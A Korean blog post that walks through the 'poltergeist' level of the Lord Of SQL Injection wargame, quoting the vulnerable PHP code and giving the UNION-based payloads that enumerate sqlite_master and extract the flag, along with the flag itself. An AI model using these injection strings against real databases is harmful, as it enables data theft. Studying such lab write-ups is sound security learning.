소스코드 분석
<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/poltergeist.db");
$query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}`
table, not in `member` table. Let's look over whole of the database.
highlight_file(__FILE__);
?>
1. $db = sqlite_open("./db/poltergeist.db"); > DB환경이 sqlite
2. if($result['id']) echo "<h2>Hello {$result['id']}</h2>"; > 반환값에서 id 컬럼에 해당하는 값을 출력
3. // Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.> Flag 값은 flag_{$hash}형태의 테이블에 존재 > Union SQL Injection으로 시도 가능
문제 풀이
sqlite 환경에서의 테이블, 컬럼 명 탈취하는 문제다.
MYSQL 환경에서는 information_schema.columns의 table_name, column_name을 사용하였지만 sqlite에는 information_schema라는 DB가 존재하지 않는다.
대신 sqlite_master를 이용하여 MYSQL 환경에서와 비슷하게 Union SQL Injection을 시도할 수 있다. 테이블 명은 다음과 같은 파라미터로 출력할 수 있다.
?pw=' union select tbl_name from sqlite_master-- -
운이 좋게도 limit 기능을 사용하지 않았는데도 flag 테이블의 명을 찾았다. MYSQL 환경과 동일하게 sqlite는 limit을 지원하여 MYSQL 환경이 익숙한 사람이면 최상단에 flag 테이블이 뜨지 않아도 쉽게 찾을 수 있을 것이다. Oracle 환경이나 SQL Server 같은 경우 limit을 지원하지 않아 직접 구현하거나 다른 기능을 사용하여야 한다.
테이블 명을 찾았으니 flag 테이블의 컬럼을 출력한다. 동일하게 sqlite_master에서 해결할 수 있다.
요청 파라미터는 아래와 같다.
?pw=' union select sql FROM sqlite_master WHERE tbl_name='flag_70c81d99'-- -
컬럼 명도 찾았으므로 Flag 값을 출력한다.
?pw=' union select flag_0876285c from flag_70c81d99-- -
?pw=FLAG{ea5d3bbdcc4aec9abe4a6a9f66eaaa13}
poltergeist를 마지막으로 다음 문제부터는 SQL Server 환경에서의 문제가 나온다.
'wargame > Lord Of SQL Injection' 카테고리의 다른 글
[LOS] revenant (1) | 2019.07.26 |
---|---|
[LOS] nessie (0) | 2019.07.17 |
[LOS] banshee (0) | 2019.07.17 |
[LOS] manticore (0) | 2019.07.17 |
[LOS] chupacabra (0) | 2019.07.16 |